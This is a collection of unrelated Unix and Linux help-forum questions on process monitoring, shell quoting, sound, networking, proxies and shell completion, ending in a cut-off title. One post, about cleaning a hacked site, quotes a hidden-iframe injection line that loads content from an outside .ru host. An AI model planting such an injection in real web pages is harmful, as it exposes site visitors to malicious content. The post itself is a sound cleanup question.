`man ps` says: > If you want a repetitive update of the selection and the displayed > information, use top(1) instead. ... however, in some cases, I don't like the output of `top` - I would instead like to have the output exactly the same as `ps axf`:               $ ps axf       PID TTY      STAT   TIME COMMAND         2 ?        S      0:00 [kthreadd]         3 ?        S      0:06  \_ [ksoftirqd/0]         6 ?        S      0:00  \_ [migration/0]        11 ?        S<     0:00  \_ [cpuset]        12 ?        S<     0:00  \_ [khelper]        13 ?        S<     0:00  \_ [netns]        15 ?        S      0:00  \_ [sync_supers]        16 ?        S      0:00  \_ [bdi-default]        17 ?        S<     0:00  \_ [kintegrityd]        18 ?        S<     0:00  \_ [kblockd]        19 ?        S<     0:00  \_ [kacpid]        20 ?        S<     0:00  \_ [kacpi_notify]        21 ?        S<     0:00  \_ [kacpi_hotplug]        22 ?        S<     0:00  \_ [ata_sff]        23 ?        S      0:00  \_ [khubd]        24 ?        S<     0:00  \_ [md]        26 ?        S      0:00  \_ [khungtaskd]        27 ?        S      0:01  \_ [kswapd0]        28 ?        SN     0:00  \_ [ksmd]        29 ?        S      0:00  \_ [fsnotify_mark]        30 ?        S<     0:00  \_ [aio]        31 ?        S      0:00  \_ [ecryptfs-kthrea]        32 ?        S<     0:00  \_ [crypto]        36 ?        S<     0:00  \_ [kthrotld]        38 ?        S      0:00  \_ [scsi_eh_0]        39 ?        S      0:00  \_ [scsi_eh_1]        40 ?        S<     0:00  \_ [kmpathd]     ...      Now, running `ps axf` repeatedly is not a problem (plenty of suggestions on Repeat a Unix command every x seconds forever - Unix & Linux Stack Exchange); however, as the above snippet shows, its output can be quite larger than the size of a terminal window. So I was wondering - is there a program which can run a command repeatedly, and collect its output, and display it in something like an `ncurses` window? I'd ideally like to set `ps axf` to refresh at half a second - and I'd like to have scrolling (given that the output will overflow terminal window bounds), however, such that if the text display starts vertically from, say, line 6 on top, it stays at that position - even if the latest output of the command has more (or less) lines of text in it than the previous one. I hoped `screen` may do something like this, but then, I don't think it implements any scrolling behavior... Is there a program out there that does something like this?


Arch wifi keeps dropping

I recently installed Arch, wifi has been messing around. Dropping and generally not connecting. I fixed it by ruling it was DHCP not getting a lease in time, I assigned a static IP and all is good. But for some reason every now and again I can't visit certain sites and domains(.net,.com) etc... If I use netctl to stop the profile then set my interface to down then restart prfile it works for a while again. I have no idea where to look for this. My /etc/resolv.conf has 4 nameservers (googles, and open dns) so they're good. Any idea where to look next?


delete user from group in fedora from command line

I have been using ubuntu extensively and use the following from the command line:               deluser <username> <groupname>      It doesn't seem to work in fedora. Is there an equivalent?


bash - can I do : find .... -exec this && that?

Is there a way to logically combine two shell commands that are invoked with **find - exec**? For instance to print out all the **.csv** files that contain the string foo together with its occurrence I would like to do:               find . -iname \*.csv -exec grep foo {} && echo {} \;      but **bash** complains with "missing argument to '-exec' "


Installing flash player for Firefox

I would like to install Flash player for Firefox on Linux. I downloaded the `.tar.gz`, and there are some compiled shared libraries. I am not sure how to make them work, and I am looking for a hint. I tried to change `LD_LIBRARY_PATH` to point to the folder where those libraries are, but I had no luck. Any suggestions?


Creating a variable with sed in ksh

I'm using Ksh88 on a Solaris 10 machine. If I do the following:               foo="one two three"     for i in $foo; do         echo $i;     done      The script executes as expected:               $ ./script.ksh     one     two     three      However if I replace the loop with this:               foo="one two three"     for i in $(sed -e 's/bar/$foo/' <(echo $1));     do         echo $i     done      I execute it and this is what I get:               $ ./script.ksh bar     $foo      How can I make `for` expand the result of the `sed` command into a variable?


terminal emulator which auto closes after execution but stays open if there was an error during execution

I have a automatic build script it uses a makefile which starts different ant scripts depending on the target I start it using xterm (I have a shortcut on the desktop) It works fine but if I want to check if the execution was successful I cant close the terminal automatically Is there a terminal emulator which wont auto close if there was an error during execution ?


Sed find/delete for a string with multiple special characters recursively

I'm having quite a bit of difficulty with a complex string. A friend's site was hacked and has since been locked down but I'm helping to clean up the mess leftover and what I need to do is the following: Go recursively into every directory and if there is the following string at the end of the file, delete the string.               ;document.write('<iframe src="http://efficienttrue.ru/upwherehandpainted.cgi?8" scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>');      As you can see the string contains single and double quotes, and multiple other special characters. I've tried putting an \ escape before every single special character but that doesn't seem to work. I tried this:               grep -rl efficienttrue.ru . | xargs sed -i "s/\;document\.write\(\'\<iframe\ src\=\"http\:\/\/efficienttrue\.ru\/upwherehandpainted\.cgi\?8\"\ scrolling\=\"auto\"\ frameborder\=\"no\"\ align\=\"center\"\ height\=\"13\"\ width\=\"13\"\>\<\/iframe\>\'\)\;/\/g"      but I get the following error:               sed: -e expression #1, char 201: unterminated `s' command


inserting a token while parsing a file - bash

I have a file with this structure:               ma${token}jid-azimi-865131021     javad-ya${token}rip-865132012      and here is my program:               IFS="-"          token="12345678"          cat input.txt | while read col1 col2 col3; do         echo ${col1}         echo ${col2}         echo ${col3}         echo "********************************"     done       I want to insert `${token}` while reading file. because token is a dynamic word and I can not change it inside the file every time. So I add `${token}` to the file once. But the output of program is:               ma${token}jid     azimi     865131021     ********************************     javad     ya${token}rip     865132012     ********************************      Why this is happening? `ma${token}jid` should be expand like this: `echo ma${token}jid`, then `12345678` should be inserted.


Can emacs use gpg-agent in a terminal at all?

I understand that there are problems with getting `pinentry-curses` to work with emacs (see some of the comments on http://emacswiki.org/emacs/EasyPG), and so using emacs in a terminal isn't compatible with gpg-agent because of this. I can't use a graphical pinentry tool in this case as this is over an ssh connection to a remote machine. However, is it possible to feed the gpg-agent the passphrase beforehand and then have emacs use this, but not to prompt for a passphrase if the agent doesn't already have this info? What settings would allow this to work with `notmuch.el` and `EasyPG`? Or, are there alternative methods of caching the passphrase which would achieve the same effect, but may have security problems (which is the reason gpg-agent exists in the first place)?


Typical use case for a group password

I checked more than half a century worth Unix experience and neither my colleagues, nor myself has ever set a password on a group (`sg` and `gpasswd`). What would be a typical use case for a group password or is it pretty much only there because of historic reasons?


`(kill-line 0)` kills physical line even with global-visual-line-mode in Emacs

I define `backward-kill-line` like this.               (defun backward-kill-line ()       (interactive)       (kill-line 0))      And I'm using `global-visual-line-mode`. `kill-line` kills visual line, but this `backward-kill-line` kills physical line. How can I change `backward-kill-line` that kills only visual line?


How to stop cursor from blinking

How do I make the cursor stop `blinking` when in a **TTY**? (or anywhere else). **BONUS Points** for one universal setting that stops the cursor blinking almost everywhere.


Bacula + bat on Ubuntu Maverick

Okay, so I have a goal, and I'm unsure of the best steps to take to get there. **Goal:**   * Set up a Linux VM in VirtualBox (Host: Windows Server 2008 R2)   * Setup Bacula in a Linux environment   * Get Bacula to backup to a NAS device (preferably a Drobo as it's less expensive for us than other NAS solutions appear to be and we don't have time to build something like FreeNAS / ZFS) **Steps taken so far:**   * Created VirtualBox VM of Ubuntu Server (Maverick) as the guest   * Installed KDE on Ubuntu   * Updated packages, etc.   * Installed Bacula -- no configuration, etc. **Steps that need to be taken, to my knowledge:**   * Install and run Bacula Administration Tool (bat)   * Configure Bacula (either via bat or .conf files) -- backup to USB external HDD (to test backups, schedules, clients, etc.)   * Re-configure Bacula storage daemon to backup to a network-attached Drobo device (i.e. Drobo FS) **Questions so far:**   * I see the following errors in the terminal and the bat tool when it starts -- why? Terminal output:               Error: "/var/tmp/kdecache-sean" is owned by uid 1000 instead of uid 0.     (1893) KSharedDataCache::Private::mapSharedMemory: Opening cache "/var/tmp/kdecache-sean/icon-cache.kcache" page size is 4096     (1893) KSharedDataCache::Private::mapSharedMemory: Attached to cache, determining if it must be initialized     (1893) KSharedDataCache::Private::mapSharedMemory: Cache fully initialized -- attached to memory mapping     (1893) KSharedDataCache::Private::mapSharedMemory: 7323648 bytes available out of 10485760     QInotifyFileSystemWatcherEngine::addPaths: inotify_add_watch failed: No such file or directory     QFileSystemWatcher: failed to add paths: /home/sean/.config/ibus/bus     Bus::open: Can not get ibus-daemon's address.      IBusInputContext::createInputContext: no connection to ibus-daemon       And on the console I receive: "bat: ABORTING due to ERROR in console/console.cpp:155 Failed to connect to localhost-dir for populateLists" **First Troubleshooting Avenues** This seems to me like bacula-dir isn't started? No configuration has been done, and I certainly don't pretend to know how to start Bacula properly. I've tried consulting the documentation, to no avail for this particular implementation. Any help? Thanks!


version control for /etc under *BSD

What turnkey solutions exist to put `/etc` under version control, under various unices? Turnkey doesn't necessarily mean part of the base install, but the following features would be nice:   * hooks into VCS commands to manage metadata (ownership, permissions);   * integration with the package manager (run automatically before and after installations, handle upgrades intelligently);   * treat upstream file versions as a branch;   * a pre-filled ignore list;   * support for several underlying VCS (especially distributed ones). I use etckeeper under Debian and derivatives. It has all the above features except that it doesn't keep track of upstream versions. I would like to learn about alternatives, particularly on *BSD.


Can't uninstall vim

I've got a problem with vim deinstallation. I've done `sudo apt-get remove` on vim, vim-common, vim-tiny and actually anything starting with 'vim' in the package list, but still can run vim from command line. It doesn't show up in packages list but still works. I can't understand how it is even possible... How can I remove it completely?


How to echo in shell script without executing the result

I am using this code to print all open files in the specified changelist.               while read line; do         echo "$line"     done < `p4 opened -c $changelist`      However, the line also gets executed and I get following error:               ./do.sh: line 7: //perforce/a.js#24 - edit change 353 (text) by user1: No such file or directory      My required output is:               //perforce/a.js#24 - edit change 353 (text) by user1


How can I calculate the size of a directory?

How to know the size of a directory? Including subdirectories and files.


Line numbering in Vim

How do I enable line numbers to be displayed in Vim?


Sound Problems with pulseaudio

The overall question that my whole problem is kind of based on is regarding sound in linux. Should I be using alsa or pulse or what? I'm using pulse at the moment and this is my problem: I was in the midst of configuring awesome and playing some music at same time when I restarted awesome and found sound no long functioned. After debugging and frustration I restarted and sound still doesn't work. When run in super verbose mode pulseaudio gives much output (see bottom of post) but I think the key line is this:               D: cli-command.c: Checking for existance of '/usr/lib/pulse-0.9.21/modules/module-udev-detect.so': success     D: module-udev-detect.c: /dev/snd/controlC0 is accessible: no     D: module-udev-detect.c: /dev/snd/controlC29 is accessible: no      Any guesses? * * * Full log:               rob@lennyubuntu:~$ pulseaudio -vvvv     I: main.c: setrlimit(RLIMIT_NICE, (31, 31)) failed: Operation not permitted     I: main.c: setrlimit(RLIMIT_RTPRIO, (9, 9)) failed: Operation not permitted     D: core-rtclock.c: Timer slack is set to 50 us.     D: core-util.c: RealtimeKit worked.     I: core-util.c: Successfully gained nice level -11.     I: main.c: This is PulseAudio 0.9.21-63-gd3efa-dirty     D: main.c: Compilation host: i486-pc-linux-gnu     D: main.c: Compilation CFLAGS: -g -O2 -g -Wall -O3 -Wall -W -Wextra -pipe -Wno-long-long -Winline -Wvla -Wno-overlength-strings -Wunsafe-loop-optimizations -Wundef -Wformat=2 -Wlogical-op -Wsign-compare -Wformat-security -Wmissing-include-dirs -Wformat-nonliteral -Wold-style-definition -Wpointer-arith -Winit-self -Wdeclaration-after-statement -Wfloat-equal -Wmissing-prototypes -Wstrict-prototypes -Wredundant-decls -Wmissing-declarations -Wmissing-noreturn -Wshadow -Wendif-labels -Wcast-align -Wstrict-aliasing=2 -Wwrite-strings -Wno-unused-parameter -ffast-math -Wp,-D_FORTIFY_SOURCE=2 -fno-common -fdiagnostics-show-option     D: main.c: Running on host: Linux i686 2.6.32-24-generic-pae #42-Ubuntu SMP Fri Aug 20 15:37:22 UTC 2010     D: main.c: Found 2 CPUs.     I: main.c: Page size is 4096 bytes     D: main.c: Compiled with Valgrind support: no     D: main.c: Running in valgrind mode: no     D: main.c: Running in VM: no     D: main.c: Optimized build: yes     D: main.c: All asserts enabled.     I: main.c: Machine ID is 37b1a2935e121fd776c640534c92c393.     I: main.c: Session ID is 37b1a2935e121fd776c640534c92c393-1284741785.538707-879649589.     I: main.c: Using runtime directory /home/rob/.pulse/37b1a2935e121fd776c640534c92c393-runtime.     I: main.c: Using state directory /home/rob/.pulse.     I: main.c: Using modules directory /usr/lib/pulse-0.9.21/modules.     I: main.c: Running in system mode: no     I: main.c: Fresh high-resolution timers available! Bon appetit!     I: cpu-x86.c: CPU flags: CMOV MMX SSE SSE2 SSE3 SSSE3 SSE4_1      I: svolume_mmx.c: Initialising MMX optimized functions.     I: remap_mmx.c: Initialising MMX optimized remappers.     I: svolume_sse.c: Initialising SSE2 optimized functions.     I: remap_sse.c: Initialising SSE2 optimized remappers.     I: sconv_sse.c: Initialising SSE2 optimized conversions.     D: memblock.c: Using shared memory pool with 1024 slots of size 64.0 KiB each, total size is 64.0 MiB, maximum usable slot size is 65496     D: database-tdb.c: Opened TDB database '/home/rob/.pulse/37b1a2935e121fd776c640534c92c393-device-volumes.tdb'     I: module-device-restore.c: Sucessfully opened database file '/home/rob/.pulse/37b1a2935e121fd776c640534c92c393-device-volumes'.     I: module.c: Loaded "module-device-restore" (index: #0; argument: "").     D: database-tdb.c: Opened TDB database '/home/rob/.pulse/37b1a2935e121fd776c640534c92c393-stream-volumes.tdb'     I: module-stream-restore.c: Sucessfully opened database file '/home/rob/.pulse/37b1a2935e121fd776c640534c92c393-stream-volumes'.     I: module.c: Loaded "module-stream-restore" (index: #1; argument: "").     D: database-tdb.c: Opened TDB database '/home/rob/.pulse/37b1a2935e121fd776c640534c92c393-card-database.tdb'     I: module-card-restore.c: Sucessfully opened database file '/home/rob/.pulse/37b1a2935e121fd776c640534c92c393-card-database'.     I: module.c: Loaded "module-card-restore" (index: #2; argument: "").     I: module.c: Loaded "module-augment-properties" (index: #3; argument: "").     D: cli-command.c: Checking for existance of '/usr/lib/pulse-0.9.21/modules/module-udev-detect.so': success     D: module-udev-detect.c: /dev/snd/controlC0 is accessible: no     D: module-udev-detect.c: /dev/snd/controlC29 is accessible: no     I: module-udev-detect.c: Found 2 cards.     I: module.c: Loaded "module-udev-detect" (index: #4; argument: "").     D: cli-command.c: Checking for existance of '/usr/lib/pulse-0.9.21/modules/module-bluetooth-discover.so': failure     D: cli-command.c: Checking for existance of '/usr/lib/pulse-0.9.21/modules/module-esound-protocol-unix.so': success     I: module.c: Loaded "module-esound-protocol-unix" (index: #5; argument: "").     I: module.c: Loaded "module-native-protocol-unix" (index: #6; argument: "").     D: cli-command.c: Checking for existance of '/usr/lib/pulse-0.9.21/modules/module-gconf.so': failure     I: module-default-device-restore.c: Saved default sink 'auto_null' not existant, not restoring default sink setting.     I: module-default-device-restore.c: Saved default source 'auto_null.monitor' not existant, not restoring default source setting.     I: module.c: Loaded "module-default-device-restore" (index: #7; argument: "").     I: module.c: Loaded "module-rescue-streams" (index: #8; argument: "").     D: module-always-sink.c: Autoloading null-sink as no other sinks detected.     I: sink.c: Created sink 0 "auto_null" with sample spec s16le 2ch 44100Hz and channel map front-left,front-right     I: sink.c:     device.description = "Dummy Output"     I: sink.c:     device.class = "abstract"     I: sink.c:     device.icon_name = "audio-card"     D: core-subscribe.c: Dropped redundant event due to change event.     I: source.c: Created source 0 "auto_null.monitor" with sample spec s16le 2ch 44100Hz and channel map front-left,front-right     I: source.c:     device.description = "Monitor of Dummy Output"     I: source.c:     device.class = "monitor"     I: source.c:     device.icon_name = "audio-input-microphone"     D: module-null-sink.c: Thread starting up     I: module.c: Loaded "module-null-sink" (index: #9; argument: "sink_name=auto_null sink_properties='device.description="Dummy Output"'").     I: module.c: Loaded "module-always-sink" (index: #10; argument: "").     I: module.c: Loaded "module-intended-roles" (index: #11; argument: "").     D: module-suspend-on-idle.c: Sink auto_null becomes idle, timeout in 5 seconds.     I: module.c: Loaded "module-suspend-on-idle" (index: #12; argument: "").     D: dbus-util.c: Successfully connected to D-Bus system bus 37167102d347eef17e1632d54c939a90 as :1.19     I: client.c: Created 0 "ConsoleKit Session /org/freedesktop/ConsoleKit/Session1"     D: module-console-kit.c: Added new session /org/freedesktop/ConsoleKit/Session1     I: module.c: Loaded "module-console-kit" (index: #13; argument: "").     I: module.c: Loaded "module-position-event-sounds" (index: #14; argument: "").     D: dbus-util.c: Successfully connected to D-Bus session bus 72094675a23ec627dd2a6a7b4c939a9c as :1.8     D: main.c: Got org.pulseaudio.Server!     I: main.c: Daemon startup complete.     D: module-console-kit.c: dbus: interface=org.freedesktop.DBus, path=/org/freedesktop/DBus, member=NameAcquired


Prevent disk renumbering on reboot in OSX

I have 3 physical drives in my Mac Pro with OSX 10.6.4. Occasionally after rebooting the machine, the disk numbering changes such that the /dev/disk# does not reference the same drive as it did before the reboot. Example               /dev/disk0 -> 64GB SSD drive     /dev/disk1 -> 640GB Hitachi     /dev/disk2 -> 160GB WD (BootCamp)      After rebooting the mapping might be               /dev/disk0 -> 160GB WD (BootCamp)     /dev/disk1 -> 640GB Hitachi     /dev/disk2 -> 64GB SSD drive      Even more confusing is that the remapping is not consistent. For most stuff this is irrelevant. However I also have Parallels installed to allow access to the BootCamp partition from within OSX. Parallels uses the /dev/disk# path in it's configuration file so, after rebooting OSX I launch Parallels and it tells me that the disk is no longer present. Is there a way to tell OSX to always assign a given drive to /dev/disk0?


Easy way to use hardware mixing?

My sound card supports hardware mixing. What's the easiest way to use this feature (rather than on an app-by-app basis, hopefully)?


Error: iptables: No chain/target/match by that name

I am trying to configure proxy server on RHEL Server 6.5 using Squid and iptables. Below is the command I executed and the error message it displayed:               vzlptest01 root [root] > iptables -A INPUT -i eth0 -m state --state ESTABLISHED,RELATED -j ACCEPT     iptables: No chain/target/match by that name.      Some more details:               vzlptest01 root [root] > cat /proc/net/ip_tables_matches     limit     state     length     ttl     tcpmss     multiport     multiport     tos     tos     dscp     icmp     udplite     udp     tcp          vzlptest01 root [root] > cat /proc/net/ip_tables_targets     DNAT     SNAT     LOG     TOS     TOS     DSCP     TCPMSS     REJECT     ERROR      **Edit:**               vzlptest01 root [root] > iptables -S     -P INPUT ACCEPT     -P FORWARD ACCEPT     -P OUTPUT ACCEPT      How to deal with this issue?


Why is rewriting in htaccess not working on this server

I'm moving code from a server that served a single domain to one that serves multiple domains. I'm using named virtual hosts to handle the different domains. The url rewriting is not being executed   * I know that virtual hosts work on that server because the other domains work   * I know that this particular domain is working because when I hit pingtest.iguiders.com I see the index.html file I left in www/ping/. ('ping' is the dir that pingtest points to because, after my test works, the real domain, ping.iguiders.com will point here)   * I know that htaccess is generally working on this server because my other domains use it extensively.   * I initially copied pingtest.iguiders.com in /sites-available from another virtual host that uses htaccess and works. I just changed the server alias and the document root   * the virtual host definition does contain RewriteEngine On Here is the entire .htaccess file               RewriteEngine on          RewriteLog "/var/log/rewrite.log"     RewriteLogLevel 7          # Pings for ping server     RewriteRule ^0.02/ping/$ ping_functional.php [L,qsa]     RewriteRule ^0.03/ping/$ ping_functional.php [L,qsa]     RewriteRule ^0.04/ping/$ ping_functional.php [L,qsa]     RewriteRule ^0.05/ping/$ index.html [L,qsa]      But when I try pingtest.iguiders.com/0.05/ping/ I do not get the index.html file I expect (Nor do 0.02, 0.03, etc. work). I get a 404. I suspect that the .htaccess is not being accessed at all because I never see the rewrite log I defined. Anything obvious I screwed up?


Install libusb 1.0.9 on Arch Linux

I am not sure how to install libusb 1.0.9 on Arch Linux. pacman does not offer it and the package seems to have been deleted from the repository. I tried compiling from source but it does not seem to be picked up correctly.


How to fix Linux filename tab autocomplete that is appending a space instead of trailing slash on directories?

For some strange reason my filename autocomplete is behaving differently than normal. Given the following file structure `./foobar/file.txt`, if I want to delete `file.txt`, I type `rm foob<TAB><TAB>` and let the command line autocomplete the filename out to `rm foobar/file.txt`. But right now, after hitting the first `<TAB>` my command gets autocompleted to `rm foobar` (with a space after `foobar`). Is it possible that I accidentally changed it to this behavior? How can I change it back?


Which BSD to start with?

So I've been a linux user since June 2008. My first distro was Ubuntu. I've tried OpenSuSE, Fedora, Mandriva, Linux Mint, Puppy Linux, Damn Small Linux and Arch Linux, and I was thinking about giving BSD a try. Which BSD variant should I choose?


File delete versus overwrite and link at /proc/pid/fd

It is well known that UNIX systems won't actually delete a file on disk while the file is in use. So if a file is being accessed by process 1 and process 2 deletes the file using rm, process 1 continues to see the file; additionally the file descriptor link at /proc/(process 1 id)/fd reports the original contents of the deleted file. However, if process 2 overwrites the file as opposed to deleting it (say with echo "abracadabra" > file.txt), the file descriptor link at /proc/(process 1 id)/fd reports the overwriting material("abracadabra"), while process 1 is still able to access the original contents of the file. Why this difference? [Edit]The snippet below is in response to Jim Paris               >uname -a     Linux ravoori-netbook 3.2.0-32-generic-pae #51-Ubuntu SMP Wed Sep 26 21:54:23 UT     C 2012 i686 i686 i386 GNU/Linux     >echo original > /tmp/foo     >tail -0f /tmp/foo &     [2] 6144     >rm /tmp/foo     >cat /proc/6144/fd/3     original     >echo abracadabra > /tmp/foo     >cat /proc/6144/fd/3     original


Why do top and ps show different PIDs for the same processes?

When I run `top -H`, I see that my multiple `mysql` threads all have the same PID. However, in `ps -eLf` I see each one has a different PID: `ps -eLf`               UID        PID  PPID   LWP  C NLWP STIME TTY          TIME CMD     mysql     1424     1  1424  0   17 18:41 ?        00:00:00 /usr/sbin/mysqld     mysql     1424     1  1481  0   17 18:41 ?        00:00:00 /usr/sbin/mysqld     mysql     1424     1  1482  0   17 18:41 ?        00:00:00 /usr/sbin/mysqld     mysql     1424     1  1483  0   17 18:41 ?        00:00:00 /usr/sbin/mysqld     mysql     1424     1  1484  0   17 18:41 ?        00:00:00 /usr/sbin/mysqld     mysql     1424     1  1485  0   17 18:41 ?        00:00:00 /usr/sbin/mysqld     mysql     1424     1  1486  0   17 18:41 ?        00:00:00 /usr/sbin/mysqld     mysql     1424     1  1487  0   17 18:41 ?        00:00:00 /usr/sbin/mysqld     mysql     1424     1  1488  0   17 18:41 ?        00:00:00 /usr/sbin/mysqld     mysql     1424     1  1489  0   17 18:41 ?        00:00:00 /usr/sbin/mysqld     mysql     1424     1  1490  0   17 18:41 ?        00:00:00 /usr/sbin/mysqld     mysql     1424     1  1791  0   17 18:41 ?        00:00:00 /usr/sbin/mysqld     mysql     1424     1  1792  0   17 18:41 ?        00:00:00 /usr/sbin/mysqld     mysql     1424     1  1793  0   17 18:41 ?        00:00:00 /usr/sbin/mysqld     mysql     1424     1  1794  0   17 18:41 ?        00:00:00 /usr/sbin/mysqld     mysql     1424     1  1809  0   17 18:41 ?        00:00:00 /usr/sbin/mysqld     mysql     1424     1  1812  0   17 18:41 ?        00:00:00 /usr/sbin/mysqld      and in `top -H`               PID USER      PR  NI  VIRT  RES  SHR S  %CPU %MEM    TIME+  COMMAND      1424 mysql     20   0  539m  56m 7200 S   0.0  1.5   0:00.08 mysqld                                                                        1481 mysql     20   0  539m  56m 7200 S   0.0  1.5   0:00.16 mysqld                                                                        1482 mysql     20   0  539m  56m 7200 S   0.0  1.5   0:00.33 mysqld                                                                        1483 mysql     20   0  539m  56m 7200 S   0.0  1.5   0:00.16 mysqld                                                                        1484 mysql     20   0  539m  56m 7200 S   0.0  1.5   0:00.23 mysqld                                                                        1485 mysql     20   0  539m  56m 7200 S   0.0  1.5   0:00.27 mysqld                                                                        1486 mysql     20   0  539m  56m 7200 S   0.0  1.5   0:00.15 mysqld                                                                        1487 mysql     20   0  539m  56m 7200 S   0.0  1.5   0:00.18 mysqld                                                                        1488 mysql     20   0  539m  56m 7200 S   0.0  1.5   0:00.16 mysqld                                                                        1489 mysql     20   0  539m  56m 7200 S   0.0  1.5   0:00.16 mysqld                                                                        1490 mysql     20   0  539m  56m 7200 S   0.0  1.5   0:00.34 mysqld                                                                        1791 mysql     20   0  539m  56m 7200 S   0.0  1.5   0:00.26 mysqld                                                                        1792 mysql     20   0  539m  56m 7200 S   0.0  1.5   0:00.54 mysqld                                                                        1793 mysql     20   0  539m  56m 7200 S   0.0  1.5   0:00.00 mysqld                                                                        1794 mysql     20   0  539m  56m 7200 S   0.0  1.5   0:00.00 mysqld                                                                        1809 mysql     20   0  539m  56m 7200 S   0.0  1.5   0:00.00 mysqld                                                                        1812 mysql     20   0  539m  56m 7200 S   0.0  1.5   0:00.13 mysqld      What is going on and which one should I believe?


minicom and Xbee module - no feedback

I just bought an Xbee module and would like to set it up using "minicom". I first plugged the Xbee to the computer using a board that uses a FTDI chip to transform the UART interface that Xbee is using to USB interface. If I use command lsusb, I can see that FTDI chip is **device 005 on the USB bus number 003**.               Bus 003 Device 005: ID 0403:6001 Future Technology Devices International, Ltd FT232 USB-Serial (UART) IC      I opened minicom using "sudo minicom" and set up the " **Serial port setup** " like instructed in this thread. Now it looks like:               +-----------------------------------------------------------------------+     | A -    Serial Device      : /dev/bus/usb/003/005                      |     | B - Lockfile Location     : /var/run                                  |     | C -   Callin Program      :                                           |     | D -  Callout Program      :                                           |     | E -    Bps/Par/Bits       : 9600 8N1                                  |     | F - Hardware Flow Control : No                                        |     | G - Software Flow Control : No                                        |     |                                                                       |     |    Change which setting?                                              |     +-----------------------------------------------------------------------+      And " **Bps/Par/Bits** " is set up like:               +---------[Comm Parameters]----------+                          |                                    |                          |     Current:  9600 8N1             |                          | Speed            Parity      Data  |                          | A: <next>        L: None     S: 5  |                          | B: <prev>        M: Even     T: 6  |                          | C:   9600        N: Odd      U: 7  |                          | D:  38400        O: Mark     V: 8  |                          | E: 115200        P: Space          |                          |                                    |                          | Stopbits                           |                          | W: 1             Q: 8-N-1          |                          | X: 2             R: 7-E-1          |                          |                                    |                          |                                    |                          | Choice, or <Enter> to exit?        |                          +------------------------------------+        I saved the whole thing and closed minicom. Then I started minicum with a command "sudo minicom" and I got into the main screen where I tweaked the console to use local echo ("CTRL+A E") and to use linefeed ("CTRL+A A"). In the thread mentioned above. Author then preses three times + key and geta s response "OK". This doesn't work for me. Is my port set up ok? I mean the line:               A -    Serial Device      : /dev/bus/usb/003/005


How to run a command in the background with a delay?

Can somebody show me how to make a program to do this action: after 5 minutes               echo "80" > /sys/class/leds/blue/brightness      I want this program run in the background (like `rngd` service) I can't do this because I don't know so much about Linux.


Killing all the process of a command except first process

I am sometimes stuck in a situation where a script/command kept in Cron runs more than once because of some reasons (the first instance is not completed fully, the second instance of the same process starts) and at some point of time these processes increase a lot and show system hanging etc. So, what I want as a temporary solution here is to check if there are more than one instances of the script/command say,               ps -ef | pgrep -f 'DELETE OPERATION_CONTEXT'      or directly kill all the processes of this command               ps -ef | pkill -f 'DELETE OPERATION_CONTEXT'      But I want an idea how I can kill all the processes of pgrepped command except for the first process (this would let one of the process to keep working and all other duplicates to get killed).


How to setup squid simplest way for safe proxy?

I have installed `squid` on my remote linux box and added my desktop's IP as               acl lagrangian64 src XX.XX.XX.XX/32      in squid config. Also I have added `lagrangian64` to the following line:               http_access allow manager localhost lagrangian64      Was this enough and correct? I am getting and error while browsing any site with this proxy:               ERROR     The requested URL could not be retrieved     While trying to retrieve the URL: http://www.google.com/     ...     Access Denied     ...      How to allow myself to browse? What I did up for now?


Auto indent C++11 lambda functions Vim

Is there any way to get Vim to auto indent C++11 lambda functions correctly? I have tried many different permutations of smartindent, cindent, etc. in .vimrc. ![enter image description here](http://i.stack.imgur.com/YaprJ.png)


How to disable floating of maximized Chromium window?

I'm using AwesomeWM. My rule for Chromium:               { rule = { class = "Chromium" },       properties = { tag = tags[1][9], floating = true, border_width = 0 } },      It works well, except Chromium window can be dragged using it's titlebar even if it's maximized.


Why can't Steam's window be dragged or moved normally?

Why Steam's windows can't be dragged using border and it's custom titlebar. Chromium works (almost) well with AwesomeWM, why Steam doesn't.


Merge csv files with conditions

I have 2 _CSV_ files for each date ( _csv_2014_4_15_ and _csv_2014_4_16_ ) , with basic structure and couple of unique columns as below.               id,name,created_at,updated_at,other columns          12, joe, 2013-1-1 18:30, 2014-2-1 12:00     56, bob, datetime, datetime      I want to merge the 2 csv files based on these these conditions. My code so far is as below.               if (csv_date_x.id == csv_date_x+1.id)     {        if(csv_date_x.updated_at < csv_date_x.updated_at)              add csv_date_x+1 row into out.csv     }     else {        if(csv_date_x+1.created_at == TODAY (yyyy-mm-dd)              add csv_date_x+1 row into out.csv     }


Convert PDF from sRGB color space to CMYK

Does anyone know how I can convert a PDF (or EPS) file from sRGB color space to CMYK color space? My workflow is currently the following:   * Draw an image with Powerpoint   * Print via postscript printer into a .prn postscript file   * Execute a bash script that uses ps2eps, ps2pdf, and pdftk in order to generate a cropped PDF image Unfortunately, this produces an sRGB PDF only. Instead, I need a CMYK PDF and I don't have an idea how I may get this. Any help on this is highly appreciated.


Arch Linux problem: What is causing the black screen problem when logging into Cinnamon?

I first posted this in February, but I'm making the problem clearer because I had no responses in 6 months, and the problem still exists. My Arch boots to the terminal. I login as root. I start Cinnamon and everything is fine. I logout of root while in Cinnamon, and I'm returned to the terminal. I login then under my own user account. I start cinnamon and I get a black screen with a mouse pointer that I can move. I can't get out of this and it requires a shutdown. This problem is reproducable. After booting up again, I login under my normal user account and it works, but the wallpaper has changed to some basic, default image. What is happening and how can I fix this?


how to download fedora 19 alpha release cadidate (or test composite) (spin lxde) iso image?

This should have been an easy google search, but I cannot find any iso images! The title says what I am searching for.


ZSH takes two tabs to complete filenames

I love Zsh's tab completions, but it's frustrating when there is only one possible option and I have to tab twice to tab complete the filename. For example, if this is a list of files in a directory:               - a.txt     - b.txt     - x.txt      and I type `cat x<TAB>` in ZSH, I get this at the prompt:               $ cat x     x.txt      I have to TAB again to get the value. What can I do to get ZSH to complete the filename with only the first tab? Here's my setopt:               alwaystoend     autocd     autonamedirs     autopushd     cdablevars     completeinword     correctall     extendedhistory     noflowcontrol     histexpiredupsfirst     histignoredups     histignorespace     histverify     incappendhistory     interactive     longlistjobs     menucomplete     monitor     promptsubst     pushdignoredups     sharehistory     shinstdin     zle


How can I rejoin a process running

